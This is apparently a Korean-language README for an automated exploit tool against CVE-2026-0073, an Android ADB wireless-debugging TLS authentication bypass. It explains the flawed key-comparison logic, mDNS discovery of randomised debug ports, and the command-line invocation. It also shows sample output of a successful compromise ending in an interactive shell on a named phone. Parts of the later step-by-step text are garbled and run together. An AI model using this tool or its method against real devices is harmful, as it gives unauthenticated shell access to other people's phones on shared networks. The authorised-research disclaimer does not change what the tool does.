
CVE-2026-0073(Android ADB TLS 인증 우회)에 대한 자동화된 익스플로잇. 내장된 mDNS/Zeroconf 스캐너를 통해 Android 13+에서 무작위화된 무선 디버깅 포트를 즉시 발견하고 완전한 대화형 원시 PTY 셸을 설정합니다.
CVE-2026-0073에 대한 자동화된 네트워크 스캐너 및 익스플로잇 도구입니다. 이 취약점은 Android Debug Bridge 데몬(adbd)의 취약점으로, 무선 디버깅을 통해 인증되지 않은 원격 코드 실행(RCE) 및 대화형 셸 액세스를 허용합니다.
이 도구는 현대 Android 기기(Android 13+)에 특별히 최적화되어 있으며, mDNS 자동 검색을 통해 무작위화된 ADB 포트를 찾고 완전한 대화형 raw PTY 셸을 제공합니다.
🚨 취약점 요약 (Android 보안 게시판)
CVE ID: CVE-2026-0073
Android Issue ID: A-469080888
영향: RCE (원격 코드 실행)
심각도: 중요
공식적으로 영향을 받는 버전: Android 14, 15, 16, 16-qpr2 ........ 일부 Android 13 기기도 취약하다고 알려짐
⚠️ 면책 조항: 이 도구는 교육 목적 및 허가된 보안 연구 목적으로만 제공됩니다. 소유하지 않거나 명시적인 테스트 허가를 받지 않은 네트워크나 기기에서 사용하지 마십시오.
최신 Android 기기는 무선 디버깅에 TLS 상호 인증을 사용하여 무단 연결을 방지합니다. 그러나 CVE-2026-0073은 암호학적 결함을 노출합니다. adbd가 비RSA 키(예: 타원 곡선 ec 또는 ed25519)를 사용하는 클라이언트 인증서를 처리할 때 내부 OpenSSL EVP_PKEY_cmp 함수가 부적절하게 처리되는 오류 코드를 반환하여 인증 확인을 완전히 우회하게 됩니다.
이 취약점에 대한 자세한 내용과 심층 기술 분석을 보려면 다음 자료를 참조하십시오:
기기 취약성 참고 사항: 이 버그는 일반적으로 특정 Android 버전에 대해 문서화되어 있지만, 실제 테스트에서는 다양한 OEM 구현에서 놀라운 결과가 나타났습니다. Mobile Hacker 블로그의 저자가 언급했듯이: "내 테스트에서 어떤 이유로 Android 13도 익스플로잇할 수 있었습니다. 그림 1을 참조하세요. 특히 Oppo Reno5 Z입니다."
PATH에 설치되어 있어야 합니다.zeroconf Python 라이브러리 (네트워크 스캐닝 용)# 필요한 Python 패키지 설치
pip install zeroconf
인수 없이 스크립트를 실행하기만 하면 됩니다. 4초 동안 로컬 네트워크를 수신하여 무선 디버깅이 활성화된 Android 기기의 mDNS 브로드캐스트를 포착하고 메뉴를 표시합니다.
python3 adb_tls_exploit.py
예제 출력:
[*] Scanning local network for Android 13+ devices for 4 seconds...
[+] Found active Android devices:
[1] 192.168.1.15 : 43881 | Pixel 7
[2] 192.168.1.42 : 39105 | Oppo Reno5 Z
Select a device to target [1-2]: 2
============================================================
ADB TLS Auth Bypass -> Interactive Shell
============================================================
[*] Target : 192.168.1.42:39105
[*] Key type : ec
[*] Generating ec self-signed certificate via openssl...
[+] Server requested STLS. Upgrading to TLS...
[+] TLS handshake accepted — mutual authentication bypassed!
[*] Authenticated! Opening interactive shell service...
[+] Shell obtained! (Press Ctrl+D to exit)
Reno5Z:/ $ id
uid=2000(shell) gid=2000(shell) groups=2000(shell),1004(input),1007(log),1011(adb)...
대상 IP와 무작위 포트를 이미 알고 있거나 (또는 TLS를 요구하도록 패치된 포트 5555의 레거시 기기를 대상으로 하는 경우) 스캐너를 우회할 수 있습니다:
python3 adb_tls_exploit.py <IP_ADDRESS> <PORT> [--key ec|ed25519] [--verbose]
# 예제
python3 adb_tls_exploit.py 192.168.1.50 42069 --key ec
zeroconf 라이브러리를 사용하여 _adb-tls-connect._tcp.local. 서비스를 수동적으로 수신합니다. 이를 통해 시끄럽거나 느린 TCP 포트 스위핑 없이 즉시 대상을 매핑할 수 있습니다.tls_auth)을 알리는 표준 ADB CNXN 패킷을 보냅니다.STLS로 응답하여 보안 연결을 요구합니다.ec) 또는 ed25519 키를 사용하여 새로 생성된 자체 서명 인증서를 제시합니다.adbd가 키를 확인하려고 시도합니다. 키가 RSA가 아니므로 EVP_PKEY_cmp가 -1 또는 -2를 반환합니다. Android 내부의 취약한 코드는 이 0이 아닌 반환 값을 성공적인 암호화 일치로 잘못 해석합니다.shell\x00 대상을 사용하여 OPEN 패킷을 보내고 표준 입력/출력 스트림을 터미널에 연결하여 완전한 권한 없는 셸()을 제공합니다./data/misc/adb/adb_keys 파일이 완전히 비어 있음을 의미합니다. 익스플로잇은 잘못된 루프 비교를 트리거하기 위해 키스토어에 최소한 하나의 기존 키(관련이 없더라도)가 필요합니다.apt install openssl, brew install openssl, 또는 Windows 바이너리를 통해 설치).uid=2000